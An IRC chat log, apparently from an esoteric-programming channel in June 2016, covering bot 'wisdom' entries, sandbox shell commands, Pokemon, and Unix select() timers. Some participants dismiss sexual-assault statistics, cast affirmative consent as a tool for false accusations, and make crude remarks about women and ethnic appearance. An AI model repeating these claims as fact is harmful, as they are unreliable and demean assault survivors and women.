(Quit: leaving). 13:06:52 -!- Koen__ has quit (Read error: Connection reset by peer). 13:10:00 -!- Koen_ has joined. 13:38:55 -!- Frooxius has quit (Quit: *bubbles away*). 13:49:40 -!- Sgeo has quit (Ping timeout: 244 seconds). 14:12:06 `wisdom 14:12:07 `wisdom 14:12:46 sugar//Sugar, spice, and everything nice. These were the ingredients chosen to create the perfect little girl. But Professor Utonium accidentally added an extra ingredient to the concoction: Chemical X! Thus the Powerpuff Girls were born! Using their ultra super powers, Blossom, Bubbles, and Buttercup have dedicated their lives to fighting crime an 14:12:46 false//false is a very old stack-based language. For an authentic experience, run it on an Amiga. It's also not true. 14:13:05 hah! that first one is mine 14:13:07 `wisdom 14:13:08 `wisdom 14:13:11 `wisdom 14:13:34 orodruin//The Orodruin is a mountain heated by earth spirits. Sauron moved to Mordor because boiling water for his morning tea with the fires of the Orodruin was so convenient. 14:13:42 fabric of reality//The fabric of reality is *not* plaid corduroy, no matter what evil tongues say. 14:13:43 nvd//nvd is what Taneb calls himself when he wants to feel professional. 14:13:47 wait wait 14:13:53 `olist 1040 14:13:54 olist 1040: shachaf oerjan Sgeo FireFly boily nortti b_jonas 14:19:35 -!- iaglium has quit (Ping timeout: 260 seconds). 14:38:46 -!- Koen_ has quit (Remote host closed the connection). 14:43:51 does this count as esoteric? https://github.com/xoreaxeaxeax/movfuscator 14:46:30 -!- Sgeo has joined. 15:08:44 -!- Koen_ has joined. 15:09:35 izabera: yes 15:36:41 -!- spiette has joined. 15:39:23 -!- astslash has quit (Quit: This computer has gone to sleep). 16:01:28 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 16:29:15 -!- Akaibu has joined. 16:35:12 -!- spockers has quit (Remote host closed the connection). 17:05:16 [wiki] [[User:12Me21]] N https://esolangs.org/w/index.php?oldid=47228 * 12Me21 * (+204) Created page with "'''*typing in chat*''' ''ok here's my variation of that language:'' ''L = move left one'' '''*accidentally presses enter*''' ''oops'' '''new language "L"''' '''commands..." 17:12:27 `? xerxes 17:12:38 xerxes? ¯\(°​_o)/¯ 17:12:50 ``` echo wisdom/*[xXqQ]*[xXqQ]* 17:12:52 wisdom/XQELEKCTHZVBDBQR wisdom/xkcq 17:13:00 `? XQELEKCTHZVBDBQR 17:13:02 XQELEKCTHZVBDBQR? ¯\(°​_o)/¯ 17:13:06 `? xkcq 17:13:06 wat 17:13:08 ​"xkcq" is worth 8 more points than "xkcd" in Scrabble, or a whopping 30 more if both are played optimally on a triple word score. Nyahhh. 17:13:22 -!- augur has joined. 17:13:46 ``` head wisdom/X* 17:13:47 Who told you this? 17:13:53 ``` head wisdom/XQ* 17:13:54 Who told you this? 17:13:59 what 17:14:03 ``` /bin/head wisdom/XQ* 17:14:05 bash: /bin/head: No such file or directory 17:14:08 ``` /usr/bin/head wisdom/XQ* 17:14:10 Who told you this? 17:14:19 ``` /bin/echo wisdom/XQ* 17:14:21 wisdom/XQELEKCTHZVBDBQR 17:14:34 ``` /bin/ls -dl wisdom/XQ* 17:14:36 ​-rw-r--r-- 1 5000 0 19 Dec 9 2015 wisdom/XQELEKCTHZVBDBQR 17:14:59 ``` /bin/ls -dl wisdom/XQELEKCTHZVBDBQR 17:14:59 ​-rw-r--r-- 1 5000 0 19 Dec 9 2015 wisdom/XQELEKCTHZVBDBQR 17:15:03 `? wisdom/XQELEKCTHZVBDBQR 17:15:04 wisdom/XQELEKCTHZVBDBQR? ¯\(°​_o)/¯ 17:15:07 `? XQELEKCTHZVBDBQR 17:15:08 XQELEKCTHZVBDBQR? ¯\(°​_o)/¯ 17:15:13 ? 17:15:23 -!- nirutus has joined. 17:15:44 oerjan, why does ? not find that entry? 17:27:11 -!- bender has quit (Ping timeout: 250 seconds). 17:33:51 -!- MoonyTheDwarf has joined. 17:34:00 -!- atrapado has joined. 17:34:30 -!- atrapado has quit (Remote host closed the connection). 17:35:00 good morning 17:42:43 -!- MoonyTheDwarf has changed nick to moon_. 18:10:29 -!- astslash has joined. 18:32:06 -!- spockers has joined. 18:39:27 -!- astslash has quit (Quit: This computer has gone to sleep). 18:54:34 helloon 18:55:39 quinthellopia 18:55:57 bon_journas 18:56:43 are you screwing up wisdom again 18:57:31 quintopia: what? oerjan just found that I haven't screwed up them much yet 18:57:38 but anyway, yes 18:57:47 if wisdom/=@ccc counts as screwed up 18:57:57 I think it does 18:58:23 :p 18:58:23 `? one ring 18:58:37 One Ring to rule them all, One Ring to find them, One Ring to bring them all and in the darkness bind them 18:59:04 `? keyboard 18:59:07 keyboard? ¯\(°​_o)/¯ 18:59:07 `? keyboar 18:59:09 keyboar? ¯\(°​_o)/¯ 18:59:25 `? 6 18:59:26 6? ¯\(°​_o)/¯ 18:59:37 If one bell rings in the Tower of Bray, / Ding, dong, your true love will stay, / Ding, dong, one bell today, / In the Tower of Bray, / Ding, dong 18:59:38 ``` ls -ld bin/[0-9] 18:59:40 ​-rwxr-xr-x 1 5000 0 16 Jun 3 19:23 bin/1 \ -rwxr-xr-x 1 5000 0 40 Jun 4 09:41 bin/5 18:59:58 b_jonas: Aw, that's kind of disappointing. 19:00:06 what does 5 do? 19:00:16 shachaf: sorry, I already added an entry for "if" yet 19:00:16 If nooodl hadn't been modified it would've shown 500000 19:00:22 `? 5 19:00:24 `5 19:00:34 5? ¯\(°​_o)/¯ 19:00:40 1/2:228) back to legal tender, that expression really makes me daydream. Like, there'd be black-market tender. Out-of-town hug shops where people exchange tenderness you've NEVER SEEN BEFORE. \ 1143) I am NOT in the mood for binomial expansion \ 1078) Even if the people who made that program is a murdere 19:00:44 ah! I see 19:00:58 `wisdom 19:01:01 group//groups are just loops with the property of associativity 19:01:03 `quote 19:01:04 848) so up is down too 19:01:11 `spam 19:01:13 2/2:r, the program itself isn't a murderer so that doesn't make it wrong \ 374) it was a wonderful dream i died in it that's how it started \ 1229) cpressey, Agda is a function that maps cabal install to an electric heater \ 19:01:15 I don't think I'm ever in the mood for binomial expansion 19:01:32 fungot, are you in the mood for binomial expansion? 19:01:33 b_jonas: i thought javas were the ones who have the nerve to use the lisppaste bot, visit http://paste.lisp.org/ new/ scheme 19:01:44 fungot: do you mean jawas? 19:01:45 b_jonas: but being in teh skene is trendy anyway.) in this area says that you stick .edwin in your dir". 19:01:50 Taneb: how about binomial expungion hth 19:01:51 fungot: so true 19:01:51 b_jonas: 1. the item in the stream. k transfers control back to for-each to do another iteration. local fnord 19:01:57 shachaf, I've never tried it 19:02:00 -!- augur has quit (Remote host closed the connection). 19:02:04 `? bessell function 19:02:05 bessell function? ¯\(°​_o)/¯ 19:02:18 Why do you `? wisdom entries that you're pretty sure don't exist? 19:02:24 And not just one but a whole bunch in a row. 19:02:31 are there any math vore fetishers who watch binomial expansion porn? 19:02:39 -!- augur has joined. 19:02:41 shachaf: I want to add one for bessell function, or the correct spelling for it 19:03:12 (x+y)^n=( x + y ) ^n 19:03:26 Is that related to the Besselheim plate? 19:03:37 quintopia: that's horrible 19:03:42 `? bessel function 19:03:43 bessel function? ¯\(°​_o)/¯ 19:04:44 are the bessel functions useful for handwaving? 19:04:57 `slashlearn bessel function/Bessel functions are responsible for certain surprising and hard to understand compilation errors. You may have seen them if you tried to define a global named yn or j0. 19:05:02 Learned «bessel function» 19:05:35 `? bessel functions 19:05:36 Bessel functions are responsible for certain surprising and hard to understand compilation errors. You may have seen them if you tried to define a global named yn or j0. 19:06:55 in what language? 19:07:10 myname: C. They're in gnu libc as several functions with easy to clash names, a sad decision but we can't change the abi now. 19:07:13 -!- augur has quit (Ping timeout: 258 seconds). 19:09:03 -!- Melvar` has changed nick to Melvar. 19:09:15 myname: You may have to #include (possibly indirectly) or similar to have them defined. 19:09:33 s/defined/declared/ 19:09:55 i just wondered since it isn't mentioned in the wisdom 19:10:34 -!- moon_ has quit (Ping timeout: 260 seconds). 19:11:53 you make it sound like glibc invented those names 19:11:57 I think my brother said that they invented a new pokemon that cannot wake up (and is also unaffected by any non-sleep status)? Therefore the only attack that can be use is the one that can be use only while sleeping. 19:12:26 . o O ( vivid dreams... ) 19:13:04 -!- xkapastel has joined. 19:19:58 -!- nirutus has quit (Ping timeout: 272 seconds). 19:20:31 -!- nirutus has joined. 19:27:44 -!- gamemanj has joined. 19:33:47 -!- nirutus has quit (Quit: Ex-Chat). 19:47:35 -!- dnm has joined. 20:09:42 -!- idris-bot has joined. 20:41:04 <\oren\> zzo38 they already have snorlax 20:41:44 <\oren\> snorlax was one of the only competitive pokemon back in the day 20:45:32 At least in the first game, I don't think Snorlax was incapable of waking up? 20:46:02 <\oren\> typical usage was : rest, sleeptalk, body slam, psychic 20:46:46 (There is a card Snorlax that is immune to all status conditions including sleeping, but if that power is somehow suppressed and it falls asleep, it can be affected by other conditions too until they are recovered and the power is no longer suppressed.) 20:49:08 \oren\: But if you are not allowed to have two same pokemons then you need another one as well? 20:51:19 <\oren\> in my middle school we would use only the following pokemon essentially 20:54:13 <\oren\> mewtwo alakazam dragonite snorlax gengar and the legendary birds 20:55:10 OK, that look like eight in total 20:56:05 <\oren\> this was because a mewtwo or alakzam kills almost anything quickly with psychic 21:00:10 <\oren\> dragonite and snorlax have broken enough stats to compensate 21:00:39 <\oren\> gengar to counter snorlax 21:01:01 <\oren\> articuno to counter dragonite 21:01:08 `wisdom 21:01:10 `wisdom 21:01:12 `wisdom 21:01:12 `wisdom 21:01:13 `wisdom 21:01:48 lettuce// 21:02:20 gnimmargorp//"Gnimmargorp" er algeng stafsetningarvilla af "grimmargorp". 21:02:20 caps lock//CAPS LOCK IS CRUISE CONTROL FOR TIRED OLD MEMES 21:02:22 cake//The Enrichment Center is required to remind you that you will be baked, and then there will be cake. 21:02:25 No output. 21:04:29 <\oren\> however mewtwo has the delicuously broken ability to learn fire blast solarbeam and blizzard 21:04:53 <\oren\> so the starters are totallt screwed 21:05:17 I think some people have decided to make a limit of levels of Mewtwo that is allowed 21:06:07 _Spider and Web_ is TG 21:06:35 `? tg 21:06:38 TG is short for Turing-Gödel, the highest possible level of difficulty for a multiplayer game. At this level, it's undecidable whether you can manage to halt before losing or not. 21:07:03 no room for "terribly goofy" 21:07:06 <\oren\> oh and thunder mewtwo can learn thunder... great... 21:07:52 zzo38: Did you play _Spider and Web_? 21:08:04 ? 21:08:25 [wiki] [[Special:Log/newusers]] create * Bubble Pop * New user account 21:08:51 "Spider And Web is not a game about a vacation." 21:09:00 shachaf: is that the right track? 21:09:04 Yes, that one. 21:09:31 I think I may have done once. 21:10:02 int-e: It's not that long. You should play it. 21:10:30 What I don't understand is why there are two rooms named "Corridor Boundary". 21:10:44 Took me a long time to figure out what was going on there. 21:13:44 x works. yay. 21:15:13 Games where x doesn't work are so annoying. 21:16:44 <\oren\> omg i just realized mewtwo is basically a black mage 21:17:36 <\oren\> firaga blizzaga thundaga 21:17:50 "undo" also works. 21:18:01 But you can only undo once. 21:21:58 oops, the inventory got quite full now' 21:22:09 Z-machine can only use one undo buffer; ISAVE records the current state of addressable RAM, stack, locals, program counter, into this buffer, and IRESTORE restores it. 21:25:31 (And only if the undo bit is set in the header. If not set, undo buffers might not be allocatable. It is possible that some implementations might support undo only if PURBOT and/or ENDLOD are low enough.) 21:27:13 -!- MDream has quit (Remote host closed the connection). 21:29:02 hmm. could be fun... later 21:42:21 @time int-e 21:42:21 Local time for int-e is Fri Jun 17 22:42:21 2016 21:43:44 @time myname 21:43:47 Local time for myname is Fri Jun 17 22:43:45 2016 21:43:59 well, pretty useless imho 21:45:31 int-e: There's a pretty good puzzle in the game later on. 21:47:49 That is true, yes. 21:48:18 zzo38: Are you thinking of the one I'm thinking of? 21:53:00 How should I know? 21:53:43 You could say something that doesn't give spoilers but would still confirm that we're thinking of the same thing. 21:56:24 zero-knowledge proofs! 21:59:27 -!- gamemanj has quit (Ping timeout: 244 seconds). 22:05:40 what about privmsg 22:06:03 Too easy. 22:09:09 what is the difference between concede and surrender? 22:10:16 pikhq: The chance of collision is of course the square root of the number you said. 22:10:38 Well, not the square root. But related to it. 22:19:13 shachaf: Still not concerned. :) 22:19:36 > 122/2 22:19:38 61.0 22:19:54 you know the bitcoin network does that many hashes every few seconds? 22:20:31 > logBase 2 1432701138.46e9 22:20:33 60.31344340268831 22:20:34 so few? 22:21:23 Really, it does 2^61 hashes every few seconds? 22:21:34 According to http://blockchain.info/stats 22:21:52 I'm not sure if hash rate is measuring single SHA-256 or double SHA-256. 22:22:22 Also, note that you're talking the birthday paradox odds: the odds that there *exists* a collision, not that there is a collision with your particular random UUID. 22:22:53 Yes. 22:23:11 But presumably zzo38 is worried about other people's collisions too. 22:24:04 http://blockchain.info/charts/hash-rate?showDataPoints=false&show_header=true&daysAverageString=1×pan=all&scale=1&address= 22:24:07 good graph 22:29:42 Why can't the select() system call to support absolute timers? And why do implementations other than Linux not tell you how much time is remaining, but Linux does? 22:29:42 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg). 22:34:12 zzo38: I think the major reason is that select is considered deprecated. 22:35:06 (though, poll is not exactly a replacement for that particular usage) 22:37:15 Is there a better way to wait for a file descriptor from a set with a timeout based on an absolute timer? Also sometimes you might want a relative timer anyways. If you can open a file descriptor that has a timer on it (either internally or by a separate program or thread that writes to one end of the pipe once the specified time is reached) then it can also be done absolute timer. 22:37:25 -!- spockers has joined. 22:39:13 hezzo 22:39:40 There is timerfd_create I will read it to figure out what that does. 22:40:26 However, it says it is Linux-specific. 22:45:44 `? associativity 22:45:47 associativity? ¯\(°​_o)/¯ 22:46:54 `slashlearn associativity h(th) = (ht)h 22:46:56 No output. 22:46:58 err 22:47:05 `slashlearn associativity/h(th) = (ht)h 22:47:10 Learned «associativity» 22:48:08 Cale: is this some sort of adjunction or section/retraction thing 22:48:21 perhaps hth = h, tht = t 22:48:32 haha 22:48:35 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:49:00 Cale: Also I'm surprised you picked up "slashlearn" of all things. 22:49:54 I went back in my scrollback and found someone recording a wisdom 22:50:44 Ah, b_jonas. 23:04:25 `? ngevd 23:04:30 4®Øy9®5¥"̑Í^è#‚M.)>JCÛ]øQ¥Nwº´ðrr¨vÃY”Ùr=W§qò»[qêà§þ‘ì´óÙ»ÚRöµ¢JGê‘57¿\>z•0\ð؛ÀXÕ,[æàêH¸Ã—ULÍwä^_jnOŠ{zKÀQ)ÛBŸGqhL—Q¤{˜ÁÑÛ¹™ö1”¹Sà½Q\¦‰dµ¡`¥° 23:08:12 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg). 23:13:44 -!- hppavilion[1] has joined. 23:19:12 How to do properly like select but with absolute timer? 23:22:52 Probably your best bet is to use threads and cancellation: spawn one thread that will select, and return the results of the select. Spawn another thread that will wait for your timer, and then cancel the thread. Join the select thread, if it wasn't PTHREAD_CANCELLED record the time. Cancel and join the timer thread. 23:23:01 This is nasty as hell, but I think it'll work? 23:23:24 I firmly hope there's a better way of doing it. 23:23:27 just use signals hth 23:24:10 (also, this will have race conditions on glibc, because glibc thread cancellation has race conditions in violation of the spec. :() 23:24:22 @wn glib 23:24:25 *** "glib" wn "WordNet (r) 3.0 (2006)" 23:24:25 glib 23:24:25 adj 1: marked by lack of intellectual depth; "glib 23:24:25 generalizations"; "a glib response to a complex question" 23:24:25 2: having only superficial plausibility; "glib promises"; "a 23:24:27 [4 @more lines] 23:24:33 what did you expect hth 23:25:26 I think they're fixing it, at least. 23:46:43 -!- spiette has quit (Quit: :qa!). 2016-06-18: 00:10:10 Now I wrote a simple program to lease stdin; it then terminates as soon as anyone else opens the same file. (If you just type "lease" by itself, you will get an error message, because you cannot lease a terminal.) 00:16:46 To do select with absolute timer one idea I thought might be to create a pipe and then another thread or program can wait for the specified time and emit characters on the pipe once the timer expires. 00:17:07 Mmm, yes, that would work. 00:17:34 And then the select user can just know that one of the fds means "timer expired". 00:18:04 I think that one's a lot cleaner than what I suggested. 00:18:04 And it'll work with poll as well. 00:18:10 `learn Pikachu is a universal quantifier for Chu spaces. 00:18:15 Learned 'pikachu': Pikachu is a universal quantifier for Chu spaces. 00:18:26 hikhq 00:18:41 any new pooches? 00:18:51 Nah, just feelin' like I've got a drill burrowing into my head. 00:19:18 :'( 00:19:56 Nothing to be concerned about, it's just the fault of my genetics. 00:20:48 Are you sticking around in the area, speaking of which? 00:21:09 Iff I find myself hired. 00:21:09 pikhq, oh god is that cluster headaches 00:21:14 Phantom_Hoover: No. 00:21:21 phew 00:22:11 -!- spockers has joined. 00:29:57 According to wolfram|alpha, with exactly (no solutions exist) bits, you can represent any item from a set of 0 possibilities 00:35:50 Clearly it should have been Infinity bits 00:36:20 no wait, -Infinity 00:36:57 `? Cale 00:36:59 Cale? ¯\(°​_o)/¯ 00:37:20 -!- Warrigal has changed nick to tswett. 00:43:18 Cale: Good job, brilliant math skillz 00:44:53 I just found the Hallmarks of Cancer, which are the rules that designate a tumor as malignant 00:45:21 Now I know whether calling a particular political ideology, movement, or group "cancerous" is reflective of that group 00:45:27 Yay for justifying insults with science! 00:50:53 <\oren\> wait wouldn't that mean that anything that is growing in popularity is cancerous 00:51:50 no obviously you need restructuring of the blood supply to the group as well 00:51:54 only if in doing so it dismantles established and necessary organizational structures 00:52:58 \oren\, obviously not otherwise your fingernails would be cancer 00:53:18 as would literally every tissue in a child 00:55:55 -!- xkapastel has quit (Quit: Connection closed for inactivity). 00:56:01 Oh, fuck this 00:56:16 According to affirmativeconsent.com under "What is affirmative consent?" 00:56:18 "Consent is to be determined from the perspective of the complainant." 00:57:09 <\oren\> I recommend reading into the case law instead 00:57:22 \oren\: It appears to actually be from case laww 00:57:43 So if someone has sex with someone else, and that person had every reason to believe that the partner was cool with- or even into- it, if the partner says that they didn't feel like they consented, then it's rape. 00:58:17 <\oren\> like I said, read the actual judgements 00:58:23 I will 00:58:41 But that seems like an obvious vector to get rid of someone you don't like- have sex with them, claim you didn't consent, get them sent to prison 00:59:21 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 00:59:34 This case is using the "39%" metric, which has been repeatedly debunked 01:00:07 Even the people who conducted the original survey that came up with the 1-in-3 number have said their survey shouldn't be used to justify laws or policies or anything, IIRC 01:00:45 The DoJ came up with a number closer to 1-in-50; still too large, but saying 1-in-3 is still a lie 01:01:16 (Apparently, it used to be 1-in-5, then it was 1-in-4, now it's 1-in-3. Soon enough, 2 out of every 1 women will get sexually assaulted in her lifetime) 01:01:24 01:02:29 <\oren\> solution: don't date crazy people? 01:04:22 \oren\: That is a pretty good metric 01:05:08 Of course, I prefer "don't stick your dick in greater quantities of crazy" to the less accurate-to-humanity "don't stick your dick in crazy" 01:29:26 -!- hppavilion[2] has joined. 01:31:57 What happen if both people don't consent? But the solution is easy: don't sex. 01:32:30 -!- hppavilion[1] has quit (Ping timeout: 250 seconds). 01:38:57 fizzie: Hey, can you give fungot a style based on bus timetables from a city where buses crash constantly? 01:38:58 hppavilion[2]: so you are waiting for a class? td fnord" fnord svg public " -//w3c//dtd html 4.01 fnord/ cdn/ fnord/ fnord/ fnord -lm " slow" 01:39:10 Oh, nevermind, looks like you already did 01:39:27 (though you fed the full HTML of the page it appears) 01:39:37 ^style 01:39:37 Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube 01:41:15 Also, I want to play JScrabble now 01:43:20 Who is JScrabble? 01:44:46 zzo38: It's from today's xkcd 01:45:00 zzo38: It's a Scrabble game where JS reserved words count for triple points 01:46:39 Does it multiply after all other modifier on the board then? 01:47:02 zzo38: That doesn't matter. Multiplication is commutative over the naturals. 01:47:51 I know that, but the other possibility is if it suppresses the other modifiers or something like that. 01:48:05 Oh, but double/triple letter scores might affect it... 01:48:13 Wait, maybe not 01:48:27 No, definitely 01:48:37 Ah, I don't think it does 01:50:41 Wait, but what are the rules in normal scrabble? It's possible to get both a double word score and a double letter score 01:50:53 Well, I suppose you have to apply double word score second 01:52:26 -!- iaglium has joined. 01:54:07 Oh... Oh god 01:54:07 http://er.jsc.nasa.gov/seh/ricetalk.htm 01:54:11 Nasa, what are you doing? 01:54:19 (then again, that might be some sort of archive subdomain) 02:02:46 <\oren\> See and hear the entire speech for 56K modem download [8.7 megabytes in a .asf movie format which requires Windows Media Player 7 (speech lasts about 33 minutes)]. 02:02:54 -!- lambda-11235 has joined. 02:03:36 <\oren\> I have WMP version12 02:04:33 <\oren\> hppavilion[2]: what's wrong with that page though??? 02:05:05 \oren\: It clearly predates the speech itself 02:07:34 <\oren\> what do you think of my dad's website: http://math.yorku.ca/~watson/ 02:08:42 <\oren\> notice that the text is pink and the bacground is teal 02:13:05 <\oren\> see! he knows some modern html! 02:14:00 You usually should not alter the colours from the user settings. Unfortunately this does not provide any standard way to do reverse-video (although Mozilla has an extension to support this). 02:14:41 But what you should not ever to do is altering the foreground but not background or vice-versa. 02:17:48 -!- hppavilion[2] has quit (Ping timeout: 244 seconds). 02:28:02 -!- adu has joined. 02:41:28 -!- xkapastel has joined. 03:42:40 -!- augur has joined. 03:43:55 -!- augur has quit (Remote host closed the connection). 03:45:08 -!- augur has joined. 04:02:48 -!- adu has quit (Quit: adu). 04:05:36 hppavilion[2]: What happen if it is a JS reserved word that is not already a valid word of Scrabble game? (Since, some might not be) 04:08:41 -!- hppavilion[2] has joined. 04:11:29 Isn't it annoying when somebody gets a cube with distinct sides where the sides always follow a particular pattern wrong? 04:14:03 I don't know 04:20:19 I just found https://en.wikipedia.org/wiki/List_of_cetaceans 04:20:39 In the tables, if a picture is missing, it says "Cetacean Needed" 04:21:58 that's amazing 04:28:18 -!- moon_ has joined. 04:39:41 -!- moon_ has quit (Ping timeout: 250 seconds). 04:45:27 Does the IUCN Red List include dinosaurs in their 'extinct' list? 05:00:21 Wow, explainxkcd has brought down their incomplete article list a LOT 05:26:01 I should get around to playing geoguessr, I guess 05:31:29 hppavilion[2]: Well, there are certainly at least some dinosaurs that would make the extinct list. 05:31:35 "Hundreds of replicas of the Statue of Liberty have been created worldwide. At least one is the same size as the original; others are all smaller." 05:31:39 I sense a challenge 05:31:45 (wikipedia) 05:31:57 (Wikipedia et. al.) 05:32:18 Tip, all birds are dinosaurs by any reasonable definition of the term. :) 05:32:48 pikhq: True, true 05:33:10 pikhq: Unless the definition includes "lived before modern homonids" 05:33:20 *lived and died 05:33:41 Yeah, um, that's pretty unreasonable. 05:33:56 (and includes many birds. :P) 05:35:05 pikhq: Yeah, but at least it doesn't include e.g. ravens 05:35:19 I fail to see why that's a desirable property. 05:35:39 pikhq: Because ravens are smarter than dinosaurs, obv. 05:35:48 But the Wikipedia et al. challenge, of course, is to make a /larger/ replica of the SoL 05:40:46 "The statue is an icon of freedom and of the United States, and was a welcoming sight to immigrants arriving from abroad." 05:40:47 "was" 05:41:47 Immigrants don't generally make landfall at Ellis Island anymore. 05:48:14 SoL? 05:48:17 Oh 05:53:46 hppavilion[2]: is the challenge for someone to build one that's bigger? 05:54:30 quintopia: Yes, of course. That's what I said. 05:55:10 oh, well there was such a gap between your mentioning and then explicitly saying it, i just gave up and assumed you never did 05:56:12 -!- hppavilion[2] has changed nick to hppavilion[1]. 06:00:26 Has the Unicode Consortium gotten around to snakes yet? 06:01:36 are you looking forward to seeing snakes on a unicode? 06:05:29 <\oren\> Is there a "bag of weed" emoji yet? 06:06:41 i mean, there's a leaf, right? i think? 06:07:19 <\oren\> there's a leaf and a "maple leaf" too 06:07:31 <\oren\> but no "marijuana leaf" 06:09:24 <\oren\> there's a snake emoji 06:09:58 why is microsoft's alembic emoji so stylized as to be unrecognizable 06:11:18 http://emojipedia.org/maple-leaf/ LG's is like halfway between maple and hemp 06:12:52 this is a fun category: http://emojipedia.org/festivus/ 06:13:00 <\oren\> the alembic wasn't originally an emoji 06:13:46 <\oren\> it's one of the ones that becomes an emoji by a varation selector 06:16:15 <\oren\> ⚗ 06:18:54 <\oren\> ⚗ 06:21:23 Unicode is actually a mess. 06:22:06 <\oren\> ⚗️ 06:34:15 -!- augur has quit (Remote host closed the connection). 06:36:12 I had an idea for a browser game designed to make a point about political correctness 06:36:15 It's called "Not Racist" 06:36:26 <\oren\> Apparently I'm wrong about ALEMBIC 06:36:37 <\oren\> http://www.unicode.org/Public/UCD/latest/ucd/StandardizedVariants.html 06:36:52 It gives you a rather specific race (like "Phillipino" (sp)) and 3-5 pictures of people of that race and you have to click the correct answer 06:37:27 -!- lambda-11235 has quit (Quit: Bye). 06:38:11 It calibrates which images to use based on the ones most commonly clicked instead of the right answer (so if it says "asian", the options will generally not include someone with very, very dark skin) 06:38:32 <\oren\> * "Filipino" 06:40:15 how do i find a certain string of bytes in a binary file? 06:40:58 let me rephrase that 06:41:25 i have a shell and no c compiler and i need to find that 06:41:25 <\oren\> Wikipedia has ceased showing a set of pictures of people in articles about ethnic groups... 06:41:45 http://unicode.org/L2/L2016/16160-emoji-professions.pdf 06:41:48 grep -boF ;# and be advised that this will work with GNU grep but may not with other greps (that choke on binary files) 06:42:05 Really, UC? Emoji don't need to include every image ever 06:42:47 You should have separate sets of emoji to represent men and women from those representing careers- you don't need to combine them to have women in each career AND men in each career 06:42:49 That would be stupid 06:43:21 They also say "People search for women and men emoji with nearly the same frequency" when there is a blatantly higher number of people searching for men 06:43:25 Like, a LOT more 06:44:07 I would estimate 135% as many looking for "men emoji" as for "women emoji" 06:44:59 Oh, at least they're making them combining sequences rather than whole new codepoints 06:45:10 Still seems unnecessary, but it's better as this 06:47:50 But still, the idea of "focus on women in various jobs" is pretty stupid; unless you can show a blatant limitation to women getting into a job- not just there being more men in the job in general, but a discrepancy between percentage women and men hired vs. applied- I will assume that the lower percentage of women in the job is because /less women want the job/, as that's as close to the null hypothesis as I can get 06:49:25 I also find it funny that the document mentions adding the equivalents for men, but almost entirely emphasize it for women 06:50:24 Which makes no sense to me; if there aren't ones for men AND women already, what reason is there to have them? They say it's to "empower young women", but I don't think people will feel particularly empowered by there being emoji showing women in assorted professions 06:51:05 It's like saying e.g. all newspaper comics should be shown with variants with men AND women for each character 06:53:01 "We recognize the importance of having an inclusive representation of all people in emoji" so why don't you just make everything generic and neutral? Having specific emoji for various attributes of people is stupid; it's like if they decided there needs to be variants of emoji for all the different eye colors 06:54:22 Having dinosaurs seems like more of a pressing issue to me 06:54:24 06:56:26 <\oren\> Bah, who cares about emoji, I'm pissed that wikipedia seems to have decided that "what do albanians look like" isn't a valid question. 06:56:26 hppavilion[1]: Careful, you're straying dangerously far into discussing discrimination while having no idea whether or not it's an issue or to what degree. 06:58:13 i wonder if default emojis are going to work with the female modifier, too 06:58:31 and when women demand to not having male emojis the fdefault 06:58:42 <\oren\> The emoji will be resolved when font designers are no longer able to finish. 06:59:54 What is a female emoji? One with long hair? 07:00:01 <\oren\> but seriously, wikipedia is beginning to become inferior to my 1950's Britannica 07:01:06 <\oren\> due to NPOV being interpreted as PPOVI (Popular Point of View on Internet) 07:01:38 shouldn't it be PPOVOI then? 07:01:55 if you don't omit of, you shouldn't omit on either 07:02:29 <\oren\> ok PPOVOI 07:04:14 <\oren\> it is a FACT that there are visible differences between the Irish and the Japanese, and the en.wikipedia people are censoring this fact. 07:04:33 What should be instead is All-Point-Of-View. 07:05:11 \oren\: Are they not putting it in the article for belief it's not a fact, or for belief that it's not a relevant fact? 07:05:17 I strongly suspect it's the latter. 07:05:42 <\oren\> argh. "relevant" to whom? 07:05:43 (you may disagree, and also when has irrelevance of a fact stopped Wikipedia before) 07:05:52 <\oren\> or what? 07:05:54 myname: Pretty soon we're going to have ZWJ sequences for families where the parents are both men (one with skin tone 2, the other with skin tone 5) and the child is a muslim for some reason 07:06:35 As I said before, Unicode is actually a mess!! 07:06:39 (don't get me wrong, I don't have anything wrong with muslims as a whole- at least, no more relative to Christians and Jews and Hindus (that's the proper plural, right?)- but generally you don't have two non-muslim parents with a muslim child) 07:07:05 <\oren\> hppavilion[1]: as I said this will be solved when font designers no longer put up with it 07:07:12 \oren\: True, true 07:07:16 `? unicode 07:07:44 Unicode is a mess invented in 1988 by Xerox, Microsoft, the Spanish Inquisition, and the evil Human Supremacy Corporation, in order to make it easier for the government to spy on Chinese people. 07:08:01 zzo38: Probably not APOV so much as ANCCPOV 07:08:01 `culprits wisdom/unicode 07:08:10 (All Not Completely Crazy Points-Of-View) 07:08:21 zzo38 07:08:30 \oren\: Where are they censoring the visual differences between the Irish and the Japanese? I want to see and laugh 07:08:47 I'm afraid that it's impossible to assert a view is not completely crazy without stepping in some deep political shit. 07:08:56 Ah, true 07:09:12 For a second there, I thought "Wouldn't it be nice if we had something like Wikipedia, but..." before I realized it's been done, but it became "conservapedia" 07:09:16 Remember, we have a political party that believes that climate change is neither human-caused nor actually happening. 07:09:17 <\oren\> hppavilion[1]: go to the article "albanians" for example 07:09:47 <\oren\> they removed the gallery of images at the top which tells people what albanians generally look like 07:09:54 I think that even crazy point of view must be included, although they could be separated from the main article; this results in better text than making a mess of everything in one sentence that doesn't make sense. 07:10:16 zzo38: But what about POVs shared by only 4 or 5 individuals? 07:10:17 The scientific community is happy to state that's pretty crazy at this point, but it's certainly not thought of like that by everybody. 07:10:22 Oh, wait, this is the internet 07:10:33 <\oren\> this has been done to all articles on ethnic groups 07:10:40 pikhq: Is there a political party that believes that climate change is human-caused but isn't actually happening? 07:11:29 <\oren\> Hopefully someone can put at least some txt explaining that, for example, very pale skin, red hair and freckles are common among the Irish 07:11:36 If only five people and isn't significant then maybe it should be placed on the talk page by those people. 07:11:43 https://en.wikipedia.org/wiki/Black_people: an actual article :) 07:12:12 hppavilion[1]: I would firmly hope not. 07:13:00 <\oren\> Black people isn't an ethnic group though. 07:13:15 \oren\: True 07:14:46 I have look at some custom Magic: the Gathering cards that people made up that 